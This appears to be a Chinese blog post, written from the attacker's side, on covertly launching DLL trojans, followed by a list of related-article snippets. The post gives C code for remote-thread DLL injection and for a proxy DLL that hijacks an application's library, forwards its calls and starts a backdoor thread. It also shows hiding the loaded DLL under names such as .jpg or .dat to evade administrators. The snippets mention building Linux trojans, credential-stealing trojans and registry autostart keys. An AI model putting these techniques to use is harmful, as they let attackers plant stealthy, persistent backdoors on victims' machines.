隐蔽的木马启动方法

挖矿木马常用的隐藏方式及分析 随着加密货币的兴起,挖矿木马成为了网络安全领域的主要威胁之一。这些木马通过感染目标系统进行非法挖矿活动,从而获取经济利益。为了长期维持其运行,挖矿木马会采用多种隐藏手段,以逃避检测和清除。本文将分析挖矿木马的常用隐藏方式,并提出相应的防范措施。挖矿木马常通过修改进程名伪装成正常系统进程(如等)。有些甚至通过仿冒合法的服务进程或命名为无害的用户程序(如)来降低管理员的警惕。木马将自身代码注入到系统中正在运行的合法进程中,如浏览器或杀毒软件进程。通过这种方式,它避免了独立进程被管理员发现。 阅读详情
按照木马隐藏方式来说,可以分为两类:
第一类:冰河这种在系统中存在进程的木马,我们只需要一个任务管理器就可以搞定。
第二类:无进程木马。一般而言操作系统是以进程为调度单位的,也就是说无进程木马本质上)是不存在的,除非脱离操作系统。那么我们常见的木马是如何实现“无进程”呢?有两种方法:
第一种方法是寄生,虽然操作系统是以进程为调度单位,但其调度的基本单位是线程,所以木马可以以线程的方式存在其它进程中,就像寄生虫一样,这种方式的隐蔽性极强。
第二种方法是隐藏本身进程,通过采用各种手段隐藏自身的进程,如Hook API等。
可是仅仅隐藏进程是不够的,为什么?因为只要是木马就存在以下几个软肋:
1. 启动方式,如通过写注册表,替换系统文件,关联文件等等
2. 连接网络(本质上一定要使用端口,虽然可以用各种手段隐藏端口)
3. 进程必然存在,前面已经提到了。
这些是不少高手研究的方向,本文尝试对木马的启动方式做出新的改进,以期得到更好的隐蔽性。

目前流行的DLL木马,由于其隐蔽性强,操作系统自动完成重定位,编写方便而被木马编写者广泛采用。但它还有一个缺点:启动方式不够隐蔽。(某读者:“我采用远程线程的方法启动还不够隐蔽吗?”),事实上确实如此,在现有的安全工具的监测下,创建远程线程就等于贴了一个“我就是木马”的标签,而且这种方式还有改写注册表或者替换系统服务的小毛病。又等于贴了一个“我还是木马”的标签。还有更好的方法可以避免远程线程,修改注册表和替换系统服务以及更改启动文件吗?当然有,这就是我写本文的目的。不过在此之前先来看看DLL木马是如何加载到内存的。DLL木马的启动方式几乎千篇一律,如下的代码就是一个代表:
//使用WriteProcessMemory函数将DLL的完整路径名复制到远程进程的内存空间
if( WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DLLFullPath, lstrlen(DLLFullPath)+1, NULL) == 0)
{
printf("WriteProcessMemory error!/n");
return FALSE;
}

//计算LoadLibraryA的地址
LPTHREAD_START_ROUTINE pfnStartAddr = (LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

if(pfnStartAddr == NULL)
{
printf("GetProcAddress error!/n");
return FALSE;
}

//在远程进程中启动LoadLibraryA,通过远程线程方式调用用户的DLL文件
HANDLE hRemoteThread;
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL)
{
printf("CreateRemoteThread error!/n");
return FALSE;
}
其本质上不过是在远程进程中执行了这句代码而已:“LoadLibrary(“BackDoor.DLL”);”就这么简单,可是我们却写了一大堆的代码,能更简单点吗?不能。以如下DLL为例,我采用MinGW Developer Studio编译,效果同VC++:
//test.DLL
#include <windows.h>

__declspec(DLLexport) void manager()
{
MessageBox(0, "just a test", "Hi", MB_OK);
}

BOOL WINAPI DLLMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID fImpLoad)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(0, "DLL_PROCESS_ATTACH", "now", 0);
}
default:
{
break;
}
}


return TRUE;
}

编译后用DEPENDS.EXE(VC++自带)查看,可以看到有一个导出函数,如图1所示。

图1
那么我们该如何利用这里的函数呢?各位看官请看个简单的例子:
//testing.exe
#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HINSTANCE hDLL; //handle to DLL module
FARPROC funAddr; //函数地址

hDLL = LoadLibrary("test.DLL");
if (!hDLL)
{
MessageBox(0, "LoadLibrary failed", "sorry", MB_OK);
exit(1);
}

funAddr = GetProcAddress(hDLL, "manager");
(*funAddr)();

return TRUE;
}
整个流程如下:LoadLibrary→ GetProcAddress→(*funAddr)()。我们在自己的程序中调用自己DLL中的函数,别人的程序也是这样做的。这个过程有问题吗?没问题(socket:没有问题你写出来干什么?),但是如果我们人为的从中代理一次,来个狸猫换太子。同时保护其正常的调用规则,则可以非常隐蔽的启动我们的DLL木马。给大家个例子看看:正常情况下:A.exe→ LoadLibrary(“a.DLL”)→调用a.DLL中的函数a()
自己写个DLL木马BackDoor.DLL,同时也实现一个函数a(),当然此函数要和a.DLL中函数a()的参数和返回值一样,我们可以用PE相关工具看到或用OllyDbg追踪对方的DLL来确定其参数和返回值。假设BackDoor.DLL启动时执行“hOtherDLL = LoadLibrary(“a.DLL”)”,我们在BackDoor.DLL中的a()就可以这么写:
void a()
{
funAddr = GetProcAddress(hOtherDLL, "a");
(*funAddr)();
}
将a.DLL重命名为t.DLL,如果将BackDoor.DLL重命名为a.DLL并拷贝到A.exe同一目录下,那么整个过程就改了。渗透DLL木马后:A.exe→ BackDoor.DLL(已被重命名为a.DLL)→ BackDoor.DLL中LoadLibrary(“t.DLL”)→调用BackDoor.DLL中的a()→BackDoor.DLL中的a()调用t.DLL中函数a();
看明白了么?我们自己的BackDoor.DLL代理了整个过程,BackDoor.DLL中a()将函数调用转发给了t.DLL中的函数a()。这里给出具体代码:
//BackDoor.DLL
//将BackDoor.DLL重命名为test.DLL,将原来的test.DLL重命名为a.DLL,然后运行testing.exe
#include <windows.h>

void BackDoor()
{
MessageBox(0, "This is BackDoor", "Hi", MB_OK);
}
__declspec(DLLexport) void manager()
{
HANDLE hThread;
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&BackDoor, NULL, NULL, NULL);

MessageBox(0, "just a test", "Hi", MB_OK);
}

BOOL WINAPI DLLMain(HINSTANCE hinstDLL, DWORD fdwReason, PVOID fImpLoad)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(0, "DLL_PROCESS_ATTACH", "now", 0);
LoadLibrary("a.DLL"); //a.DLL也就是原来的test.DLL
}
default:
{
break;
}
}

return TRUE;
}
对比前面的test.DLL,我们增加了一个后门函数和一个启动后门函数的线程,现在我们的后门程序便得到了“永生”。
比起改注册表、增加服务、替换系统服务的方法隐蔽多了吧?我们避免了这些操作,代价是应用程序目录下比原来多了一个DLL。不过一般人是不会注意应用程序DLL的,可以说打入了系统安全的死角。但是多了一个文件总是不好,碰到严谨一点的人还是没办法过关。难道有了如此赏心悦目的成果却只是空欢喜一场?不用担心,解决方法很简单。
将例程中的test.DLL改成t.jpg:“hDLL = LoadLibrary("t.jpg");”,然后将该目录下的test.DLL重命名为t.jpg。运行程序,同样弹出了图1所示的MessageBox。也就是说DLL的名字可以随意设定,根据需要改成dat、 inf之类。因为很多程序都会有自己的日志文件,错误记录,所以相比较而言是安全多了。
总结:用此法制作木马比较麻烦,需要应用程序的导出函数返回值与参数保持一致。其实我们还有一个选择:大凡玩网络安全的人多少对Crack有些了解,如果我们给应用程序“友好地”打个补丁,但是该补丁却用于启动DLL木马,这样也可以达到我们的要求。
 
透视特洛伊木马程序开发技术(转) 透视特洛伊木马程序开发技术(转) 转:纯真CZ88.NET  近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更 阅读详情

相关推荐

linux下木马程序病原体的制作和运行

1.木马的制作: 首先我们可以在/usr/bin/目录下创建一个源程序muma,输入 你所需要指定的代码,这里为了做实验就随便写了个,你也可以换上一些挖矿程序,ddos攻击代码,为了知道木马是否运行,我们可以加入一条指令echo 'date' >> /tmp/date.txt,这样如果木马程序运行,我们就可以在tmp/date.txt下看到内容date。sleep 1 是指这段代码多长时间执行一

weixin_40501323的博客 5134

盗号木马之旅(三)

背景:        上一篇 WeGame盗号木马之旅(二) 我们实现了键盘按键模拟驱动的开发,这篇我们实现下具体注入代码的编写。 目标:       具体的注入代码编写。实现账号获取和密码获取。 实现:       下面放两张图形象的说明我们这篇具体是写什么代码: 上面就是具体的感染过程。这一篇我们写的注入代码就是上面橙色框内的代码,后面我们会写InfectiveVirus....

qq_36760780的博客 1273

VsCode+JLink+GCC替代Keil开发GD32程序-个人总结

对个人使用vscode+Jlink开发GD32程序做了总结,供需要者参考。

MyCollege1999的博客 2763

将程序加入启动项

<br />我知道有两个办法可以实现: <br />一:在“开始→运行”中键入“gpedit.msc”,启动“组策略”,展开“用户配置→管理模板→系统→登录”,启用“在用户登录时运行这些程序”项,并单击“显示”按钮,添加某个程序,重新登录后该程序就会自动运行。 <br />(此法在注册表中不会有启动项,用第三方软件也检测不出来嘿嘿^_^不错) <br />二:在“开始→运行”中键入“regedit”,我们找到HKEY_LOCAL_MACHINE/SHOFTWARE/Microsoft/WindowsNT/C

技术土豆 1803

Lede(OpenWrt)安装和双宽带叠加

LEDE是一个专为路由器和嵌入式设备设计的自由和开源的操作系统。LEDE是OpenWRT项目的一个分支项目。LEDE操作系统包括许多路由器有用的功能,如网络地址转换、防火墙、端口转发、DHCP服务器等。

我的博客 6441

工程师必看:如何用MINITAB快速计算传感器寿命(附详细步骤)

本文为工程师提供了使用MINITAB软件快速计算传感器寿命的详细实战指南。文章重点阐述了如何通过数据预处理、回归分析拟合阿伦尼斯模型,并最终预测平均寿命与置信区间,帮助工程师高效处理加速寿命试验数据,提升可靠性分析工作的准确性与效率。

weixin_29296241的博客 248

4.3 木马隐藏分析

木马隐藏

qq_55202378的博客 4117

Python经常遇到导入xlwings就出错,如何解决

Python经常在导入xlwings时遇到错误。有人建议尝试重装或升级xlwings,但这些操作后仍然无法解决导入错误问题。

felix_8的博客 1740

木马各种隐藏技术

    以前,我曾认为只要不随便运行网友发来的文件就不会中病毒或木马,但后来出现了利用漏洞传播的冲击波、震荡波;以前,我曾认为不上小网站就不会中网页木马,但后来包括国内某知名游戏网站在内的多个大网站均在其首页被黑客挂上了木马。从此,我知道:安全,从来没有绝对的。   虽然没有绝对的安全,但如果能知已知彼,了解木马的隐藏手段,对于木马即使不能百战百胜,也能做到及时发现,使损失最小化。那么,木马究竟是

TonyChi 's Tech Space 2186

【零基础入门unity游戏开发——2D篇】大大简化了地形创建流程,减少Rule Tile的使用 —— AutoTile自动平铺瓦片的使用介绍

Unity 2D游戏开发中的AutoTile技术详解 摘要:本文详细介绍了Unity 2D游戏开发中的AutoTile技术,这是一种智能瓦片系统,能够自动处理地形和场景拼接。文章首先讲解了AutoTile的基本概念和优势,然后分步骤指导读者如何安装2D Tilemap Extras包、创建AutoTile、设置参数和绘制遮罩。通过实际案例演示了AutoTile的使用方法,并比较了AutoTile与Rule Tile的适用场景。最后指出AutoTile虽然使用方便,但对素材要求较高,开发者应根据项目需求选择合

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 729

ASP.NET Core 6 Web API在IIS上的部署与调试

通过以上步骤和配置,你应该能够成功部署并调试你的ASP.NET Core 6 Web API在IIS上。记住,权限和配置是关键,确保你的环境和应用程序代码都正确设置。希望这篇博客对你部署和解决IIS上的问题有所帮助。

m0_74337424的博客 522

小编带你一起揭开DLL木马的神秘面纱(转)

在这个万“马”奔腾的时代,网络上充斥着各种各样的木马,不过随着杀毒技术的进步和大家防毒意识的提高,传统木马已渐渐失去市场,而DLL木马则“与时俱进”以其强大的生命力,继续网络中“为非作歹”。因DLL木马的启动方式比较特别,它不象...

cuankuangzhong6373的博客 713

【Docker】完美解决拉取镜像超时报错:ERROR: Get https://registry-1.docker.io/v2/

因为我们下载的镜像是外网的镜像资源,所以下载的速度会非常的慢,甚至大概率下载时会报错,所以需要我们配置一个国内的服务器镜像地址,国内服务器镜像地址有很多,这里咱们就说一下阿里镜像加速器的配置方法。

liu_chen_yang的博客 12万+

解读木马病毒的六种启动方式

一、通过"开始\程序\启动"    隐蔽性:2星    应用程度:较低    这也是一种很常见的方式,很多正常的程序都用它,大家常 用的QQ就是用这种方式实现自启动的,但木马却很少用它。因为 启动组的每人会会出现在“系统配置实用程序”(msconfig.exe ,以下简称msconfig)中。事实上,出现在“开始”菜单的“程 序\启动”中足以引起菜鸟的注意,所以,相信不会有木马用

axl19530209的专栏 407

从数据库到数据仓库:数据仓库导论

本文为数据仓库导论,旨在介绍数据仓库的基本理念和应用场景,帮助读者理解数据仓库的重要性及其在企业中的实际应用。

探索大数据世界 - 深入解析数据存储、分布式计算与人工智能 2784

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

DLL技术木马进程内幕

很多朋友还是不知道“DLL木马”是什么东东。那到底什么是“DLL木马”呢?它与一般的木马又有什么不同?带着这些疑问,一起开始这次揭密之旅吧!   一、追根溯源从DLL说起    要了解什么是“DLL木马”,就必须知道“DLL”是什么意思!说起DLL,就不能不涉及到久远的DOS时代。在DOS大行其道的时代,写程序是一件繁琐的事情,因为每个程序的代码都是需要独立的,这时为了实现一个

TonyWang的专栏 1424

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

木马是如何启动的(一)

       作为一个优秀的木马,自启动功能是必不可少的,这样可以保证木马不会因为你的一次关机操作而彻底失去作用。正因为该项技术如此重要,所以,很多编程人员都在不停地研究和探索新的自启动技术,并且时常有新的发现。一个典型的例子就是把木马加入到用户经常执行的程序 (例如explorer.exe)中,用户执行该程序时,则木马自动发生作用。当然,更加普遍的方法是通过修改Windows系统文件和注册表达到

testalllife的专栏 1607

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

诡秘的DLL木马

"木马"大家都不陌生,给我们的系统安全带来很大的危害。而且现在的木马采用的技术越来越高,开始采用以".exe或.com"为后缀的可执行文件,但这种技术隐蔽性很差,将木马进程注册为系统服务后,虽然在WINDOWS98系统中可以隐藏,但在基于WINNT内核的系统中却一览无遗,用WINDOWS任务管理器很容易发现它们,为了达到隐藏的目的,DLL技术是广泛使用的一种手段,这种木马的隐蔽性很强,难以发现。D

站长生活 783

DLL 木马揭秘

相信经常玩木马的朋友们都会知道一些木马的特性,也会有自己最喜爱的木马,不过,很多朋友依然不知道近年兴起的“DLL木马”为何物。什么是“DLL木马”呢?它与一般的木马有什么不同? 一、从DLL技术说起 要了解DLL木马, 就必须知道这个“DLL”是什么意思,所以,让我们追溯到几年前,DOS系统大行其道的日子里。在那时候,写程序是一件繁琐的事情,因为每个程序的代码都 是独立的,有时候...

优快云1332531529的博客 355

DLL木马的编写要点与思路

//线程注入木马也算是个不太新的方式了,但是在当时一度成为了恐慌.因为在进程中隐藏,而所注入的进程又是系统关键进程,无法终止.至于其他的木马神马神马吧,都是浮云. //       木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的方式运行,大多数操作系统也是如此.任务管理器就可以看到当前运行的进程,所以有人HOOK相关枚举进程的函数,让任务管理

维c银翘片 1109

Rootkit木马:隐藏技术发展的颠峰

Rootkit木马:隐藏技术发展的颠峰自从“广外幽灵”开创了dll木马时代的先河以来,现在采用线程注射的dll木马和恶意程序已经随处可见了,除了普遍被采用的另行编写dll加载器程序躲在启动项里运行加载dll主体之外,“求职信”还带来了一种比较少见的通过注册表 “hkey_local_machine /software/microsoft/windowsnt/currentversion

唯一谣|Airs|走尽天涯路|极地阳光 2562

另一个让随程序启动的方法

来源:!angel's blog 我们知道,有些木马是通过修改exe的文件关联来实现随EXE程序启动的。今天我在网上看到有另外一个显为人知的方法,就是通过在 注册表 LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 下新建一个 注...

weixin_34279184的博客 463

文件关联型木马的编程思路

我们知道一般情况下想在开机启动程序,就要把程序写在注册表中的  HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run  HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run  HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft

221

一款挂靠QQ的盗号木马清理记

由于电脑配置不高,开了杀毒软件后比较卡。就关了杀毒软件,然后浏览了几个网站,突然,硬盘狂闪,ie出错退出。查看任务管理器,发现不明进程出现。很快,不明进程又消失了。当时一个感觉就是,中标了。浏览器漏洞多多,这不,木马就进来了。想打开金山清理专家,看看explorer的模块列表。结果,清理专家提示XXX.dll丢失,打不开了。还好E盘还有个安装程序,再安装金山清理专家,安装程序一闪就消失

ufo2006的专栏 1548

编程实现木马的ActiveX启动和注入IE的启动方式

木马的启动方式有很多种,现在比较流行的就是注册为系统服务启动(只适合Windows 2000以上的系统),或者以驱动的方式启动。不过,最近以ActiveX方式启动又比较流行了,因为它适合Windows 9x或2000以上的机器,而且杀毒软件(比如瑞星、江民、金山等)基本不会去监视这种启动方式,比较隐蔽。以ActiveX方式启动的木马国外的比较多,于是就到网上查找相关代码,发现了RECUB。

www.i201314.net 562
上一篇: Subverting PatchGuard Version 2
下一篇: Effective file hiding : Bypassing Raw File System I/O Rootkit Detector
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值